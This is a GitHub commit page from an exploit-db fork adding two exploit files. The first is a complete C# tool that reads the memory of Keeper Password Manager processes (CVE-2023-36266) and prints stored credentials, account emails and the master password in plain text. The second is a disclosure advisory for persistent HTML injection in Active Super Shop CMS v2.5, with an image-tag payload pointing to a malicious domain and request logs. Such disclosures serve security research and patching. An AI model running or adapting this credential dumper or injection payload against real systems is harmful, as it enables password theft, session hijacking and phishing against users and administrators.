forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge remote-tracking branch 'upstream/main'
- Loading branch information
Showing
22 changed files
with
1,702 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,209 @@ | ||
# Exploit Title: Keeper Security desktop 16.10.2 & Browser Extension 16.5.4 - Password Dumping | ||
# Google Dork: NA | ||
# Date: 22-07-2023 | ||
# Exploit Author: H4rk3nz0 | ||
# Vendor Homepage: https://www.keepersecurity.com/en_GB/ | ||
# Software Link: https://www.keepersecurity.com/en_GB/get-keeper.html | ||
# Version: Desktop App version 16.10.2 & Browser Extension version 16.5.4 | ||
# Tested on: Windows | ||
# CVE : CVE-2023-36266 | ||
|
||
using System; | ||
using System.Management; | ||
using System.Diagnostics; | ||
using System.Linq; | ||
using System.Runtime.InteropServices; | ||
using System.Text; | ||
using System.Text.RegularExpressions; | ||
using System.Collections.Generic; | ||
|
||
// Keeper Security Password vault Desktop application and Browser Extension stores credentials in plain text in memory | ||
// This can persist after logout if the user has not explicitly enabled the option to 'clear process memory' | ||
// As a result of this one can extract credentials & master password from a victim after achieving low priv access | ||
// This does NOT target or extract credentials from the affected browser extension (yet), only the Windows desktop app. | ||
// Github: https://github.com/H4rk3nz0/Peeper | ||
|
||
static class Program | ||
{ | ||
// To make sure we are targetting the right child process - check command line | ||
public static string GetCommandLine(this Process process) | ||
{ | ||
if (process is null || process.Id < 1) | ||
{ | ||
return ""; | ||
} | ||
string query = $@"SELECT CommandLine FROM Win32_Process WHERE ProcessId = {process.Id}"; | ||
using (var searcher = new ManagementObjectSearcher(query)) | ||
using (var collection = searcher.Get()) | ||
{ | ||
var managementObject = collection.OfType<ManagementObject>().FirstOrDefault(); | ||
return managementObject != null ? (string)managementObject["CommandLine"] : ""; | ||
} | ||
} | ||
|
||
//Extract plain text credential JSON strings (regex inelegant but fast) | ||
public static void extract_credentials(string text) | ||
{ | ||
int index = text.IndexOf("{\"title\":\""); | ||
int eindex = text.IndexOf("}"); | ||
while (index >= 0) | ||
{ | ||
try | ||
{ | ||
int endIndex = Math.Min(index + eindex, text.Length); | ||
Regex reg = new Regex("(\\{\\\"title\\\"[ -~]+\\}(?=\\s))"); | ||
string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString(); | ||
|
||
int match_cut = match.IndexOf("} "); | ||
if (match_cut != -1 ) | ||
{ | ||
match = match.Substring(0, match_cut + "} ".Length).TrimEnd(); | ||
if (!stringsList.Contains(match) && match.Length > 20) | ||
{ | ||
Console.WriteLine("->Credential Record Found : " + match.Substring(0, match_cut + "} ".Length) + "\n"); | ||
stringsList.Add(match); | ||
} | ||
|
||
} else if (!stringsList.Contains(match.TrimEnd()) && match.Length > 20) | ||
{ | ||
Console.WriteLine("->Credential Record Found : " + match + "\n"); | ||
stringsList.Add(match.TrimEnd()); | ||
} | ||
index = text.IndexOf("{\"title\":\"", index + 1); | ||
eindex = text.IndexOf("}", eindex + 1); | ||
} | ||
catch | ||
{ | ||
return; | ||
} | ||
|
||
} | ||
} | ||
|
||
// extract account/email containing JSON string | ||
public static void extract_account(string text) | ||
{ | ||
int index = text.IndexOf("{\"expiry\""); | ||
int eindex = text.IndexOf("}"); | ||
while (index >= 0) | ||
{ | ||
try | ||
{ | ||
int endIndex = Math.Min(index + eindex, text.Length); | ||
Regex reg = new Regex("(\\{\\\"expiry\\\"[ -~]+@[ -~]+(?=\\}).)"); | ||
string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString(); | ||
if ((match.Length > 2)) | ||
{ | ||
Console.WriteLine("->Account Record Found : " + match + "\n"); | ||
return; | ||
} | ||
index = text.IndexOf("{\"expiry\"", index + 1); | ||
eindex = text.IndexOf("}", eindex + 1); | ||
} | ||
catch | ||
{ | ||
return; | ||
} | ||
} | ||
|
||
} | ||
|
||
// Master password not available with SSO based logins but worth looking for. | ||
// Disregard other data key entries that seem to match: _not_master_key_example | ||
public static void extract_master(string text) | ||
{ | ||
int index = text.IndexOf("data_key"); | ||
int eindex = index + 64; | ||
while (index >= 0) | ||
{ | ||
try | ||
{ | ||
int endIndex = Math.Min(index + eindex, text.Length); | ||
Regex reg = new Regex("(data_key[ -~]+)"); | ||
var match_one = reg.Match(text.Substring(index - 1, endIndex - index)).ToString(); | ||
Regex clean = new Regex("(_[a-zA-z]{1,14}_[a-zA-Z]{1,10})"); | ||
if (match_one.Replace("data_key", "").Length > 5) | ||
{ | ||
if (!clean.IsMatch(match_one.Replace("data_key", ""))) | ||
{ | ||
Console.WriteLine("->Master Password : " + match_one.Replace("data_key", "") + "\n"); | ||
} | ||
|
||
} | ||
index = text.IndexOf("data_key", index + 1); | ||
eindex = index + 64; | ||
} | ||
catch | ||
{ | ||
return; | ||
} | ||
|
||
} | ||
} | ||
|
||
// Store extracted strings and comapre | ||
public static List<string> stringsList = new List<string>(); | ||
|
||
// Main function, iterates over private committed memory pages, reads memory and performs regex against the pages UTF-8 | ||
// Performs OpenProcess to get handle with necessary query permissions | ||
static void Main(string[] args) | ||
{ | ||
foreach (var process in Process.GetProcessesByName("keeperpasswordmanager")) | ||
{ | ||
string commandline = GetCommandLine(process); | ||
if (commandline.Contains("--renderer-client-id=5") || commandline.Contains("--renderer-client-id=7")) | ||
{ | ||
Console.WriteLine("->Keeper Target PID Found: {0}", process.Id.ToString()); | ||
Console.WriteLine("->Searching...\n"); | ||
IntPtr processHandle = OpenProcess(0x00000400 | 0x00000010, false, process.Id); | ||
IntPtr address = new IntPtr(0x10000000000); | ||
MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION(); | ||
while (VirtualQueryEx(processHandle, address, out memInfo, (uint)Marshal.SizeOf(memInfo)) != 0) | ||
{ | ||
if (memInfo.State == 0x00001000 && memInfo.Type == 0x20000) | ||
{ | ||
byte[] buffer = new byte[(int)memInfo.RegionSize]; | ||
if (NtReadVirtualMemory(processHandle, memInfo.BaseAddress, buffer, (uint)memInfo.RegionSize, IntPtr.Zero) == 0x0) | ||
{ | ||
string text = Encoding.ASCII.GetString(buffer); | ||
extract_credentials(text); | ||
extract_master(text); | ||
extract_account(text); | ||
} | ||
} | ||
|
||
address = new IntPtr(memInfo.BaseAddress.ToInt64() + memInfo.RegionSize.ToInt64()); | ||
} | ||
|
||
CloseHandle(processHandle); | ||
|
||
} | ||
|
||
} | ||
|
||
} | ||
|
||
[DllImport("kernel32.dll")] | ||
public static extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId); | ||
|
||
[DllImport("kernel32.dll")] | ||
public static extern bool CloseHandle(IntPtr hObject); | ||
|
||
[DllImport("ntdll.dll")] | ||
public static extern uint NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, UInt32 NumberOfBytesToRead, IntPtr NumberOfBytesRead); | ||
|
||
[DllImport("kernel32.dll", SetLastError = true)] | ||
public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); | ||
|
||
[StructLayout(LayoutKind.Sequential)] | ||
public struct MEMORY_BASIC_INFORMATION | ||
{ | ||
public IntPtr BaseAddress; | ||
public IntPtr AllocationBase; | ||
public uint AllocationProtect; | ||
public IntPtr RegionSize; | ||
public uint State; | ||
public uint Protect; | ||
public uint Type; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,174 @@ | ||
# Exploit Title: Active Super Shop CMS v2.5 - HTML Injection Vulnerabilities | ||
References (Source): https://www.vulnerability-lab.com/get_content.php?id=2278 | ||
Release Date: | ||
2023-07-04 | ||
Vulnerability Laboratory ID (VL-ID): 2278 | ||
|
||
Common Vulnerability Scoring System: 5.4 | ||
|
||
Product & Service Introduction: | ||
=============================== | ||
https://codecanyon.net/item/active-super-shop-multivendor-cms/12124432 | ||
|
||
|
||
Abstract Advisory Information: | ||
============================== | ||
The vulnerability laboratory core research team discovered multiple html injection vulnerabilities in the Active Super Shop Multi-vendor CMS v2.5 web-application. | ||
|
||
|
||
Affected Product(s): | ||
==================== | ||
ActiveITzone | ||
Product: Active Super Shop CMS v2.5 (CMS) (Web-Application) | ||
|
||
|
||
Vulnerability Disclosure Timeline: | ||
================================== | ||
2021-08-20: Researcher Notification & Coordination (Security Researcher) | ||
2021-08-21: Vendor Notification (Security Department) | ||
2021-**-**: Vendor Response/Feedback (Security Department) | ||
2021-**-**: Vendor Fix/Patch (Service Developer Team) | ||
2021-**-**: Security Acknowledgements (Security Department) | ||
2023-07-05: Public Disclosure (Vulnerability Laboratory) | ||
|
||
|
||
Discovery Status: | ||
================= | ||
Published | ||
|
||
|
||
Exploitation Technique: | ||
======================= | ||
Remote | ||
|
||
|
||
Severity Level: | ||
=============== | ||
Medium | ||
|
||
|
||
Authentication Type: | ||
==================== | ||
Restricted Authentication (User Privileges) | ||
|
||
|
||
User Interaction: | ||
================= | ||
Low User Interaction | ||
|
||
|
||
Disclosure Type: | ||
================ | ||
Responsible Disclosure | ||
|
||
|
||
Technical Details & Description: | ||
================================ | ||
Multiple html injection web vulnerabilities has been discovered in the official Active Super Shop Multi-vendor CMS v2.5 web-application. | ||
The web vulnerability allows remote attackers to inject own html codes with persistent vector to manipulate application content. | ||
|
||
The persistent html injection web vulnerabilities are located in the name, phone and address parameters of the manage profile and products branding module. | ||
Remote attackers with privileged accountant access are able to inject own malicious script code in the name parameter to provoke a persistent execution on | ||
profile view or products preview listing. There are 3 different privileges that are allowed to access the backend like the accountant (low privileges), the | ||
manager (medium privileges) or the admin (high privileges). Accountants are able to attack the higher privileged access roles of admins and manager on preview | ||
of the elements in the backend to compromise the application. The request method to inject is post and the attack vector is persistent located on the application-side. | ||
|
||
Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and | ||
persistent manipulation of affected application modules. | ||
|
||
Request Method(s): | ||
[+] POST | ||
|
||
Vulnerable Module(s): | ||
[+] Manage Details | ||
|
||
Vulnerable Parameter(s): | ||
[+] name | ||
[+] phone | ||
[+] address | ||
|
||
Affected Module(s): | ||
[+] manage profile | ||
[+] products branding | ||
|
||
|
||
Proof of Concept (PoC): | ||
======================= | ||
The html injection web vulnerabilities can be exploited by remote attackers with privileged accountant access and with low user interaction. | ||
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. | ||
|
||
|
||
Exploitation: Payload | ||
<img src="https://[DOMAIN]/[PATH]/[PICTURE].*"> | ||
|
||
|
||
Vulnerable Source: manage_admin & branding | ||
<div class="tab-pane fade active in" id="" style="border:1px solid #ebebeb; border-radius:4px;"> | ||
<div class="panel-heading"> | ||
<h3 class="panel-title">Manage Details</h3> | ||
</div> | ||
<form action="https://assm_cms.localhost:8080/shop/admin/manage_admin/update_profile/" class="form-horizontal" method="post" accept-charset="utf-8"> | ||
<div class="panel-body"> | ||
<div class="form-group"> | ||
<label class="col-sm-3 control-label" for="demo-hor-1">Name</label> | ||
<div class="col-sm-6"> | ||
<input type="text" name="name" value="Mr. Accountant"><img src="https://MALICIOUS-DOMAIN.com/gfx/logo-header.png">" id="demo-hor-1" class="form-control required"> | ||
</div></div> | ||
<div class="form-group"> | ||
<label class="col-sm-3 control-label" for="demo-hor-2">Email</label> | ||
<div class="col-sm-6"> | ||
<input type="email" name="email" value="[email protected]" id="demo-hor-2" class="form-control required"> | ||
</div></div> | ||
<div class="form-group"> | ||
<label class="col-sm-3 control-label" for="demo-hor-3"> | ||
Phone</label> | ||
<div class="col-sm-6"> | ||
<input type="text" name="phone" value="017"><img src="https://MALICIOUS-DOMAIN.com/gfx/logo-header.png">" id="demo-hor-3" class="form-control"> | ||
</div></div> | ||
|
||
|
||
--- PoC Session Logs (POST) --- | ||
https://assm_cms.localhost:8080/shop/admin/manage_admin/update_profile/ | ||
Host: assm_cms.localhost:8080 | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 | ||
Accept: text/html, */*; q=0.01 | ||
X-Requested-With: XMLHttpRequest | ||
Content-Type: multipart/form-data; boundary=---------------------------280242453224137385302547344680 | ||
Content-Length: 902 | ||
Origin:https://assm_cms.localhost:8080 | ||
Connection: keep-alive | ||
Referer:https://assm_cms.localhost:8080/shop/admin/manage_admin/ | ||
Cookie: ci_session=5n6fmo5q5gvik6i5hh2b72uonuem9av3; curr=1 | ||
- | ||
POST: HTTP/3.0 200 OK | ||
content-type: text/html; charset=UTF-8 | ||
ci_session=5n6fmo5q5gvik6i5hh2b72uonuem9av3; path=/; HttpOnly | ||
https://assm_cms.localhost:8080/shop/admin/manage_admin/ | ||
Host: assm_cms.localhost:8080 | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 | ||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 | ||
Accept-Language: en-US,en;q=0.5 | ||
Accept-Encoding: gzip, deflate, br | ||
Connection: keep-alive | ||
|
||
|
||
Reference(s): | ||
https://assm_cms.localhost:8080/shop/ | ||
https://assm_cms.localhost:8080/shop/admin/ | ||
https://assm_cms.localhost:8080/shop/admin/manage_admin/ | ||
https://assm_cms.localhost:8080/shop/admin/manage_admin/update_profile/ | ||
|
||
|
||
Solution - Fix & Patch: | ||
======================= | ||
Disallow inseration of html code for input fields like name, adress and phone. Sanitize the content to secure deliver. | ||
|
||
|
||
Security Risk: | ||
============== | ||
The security risk of the html injection web vulnerabilities in the shopping web-application are estimated as medium. | ||
|
||
|
||
Credits & Authors: | ||
================== | ||
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab |
Oops, something went wrong.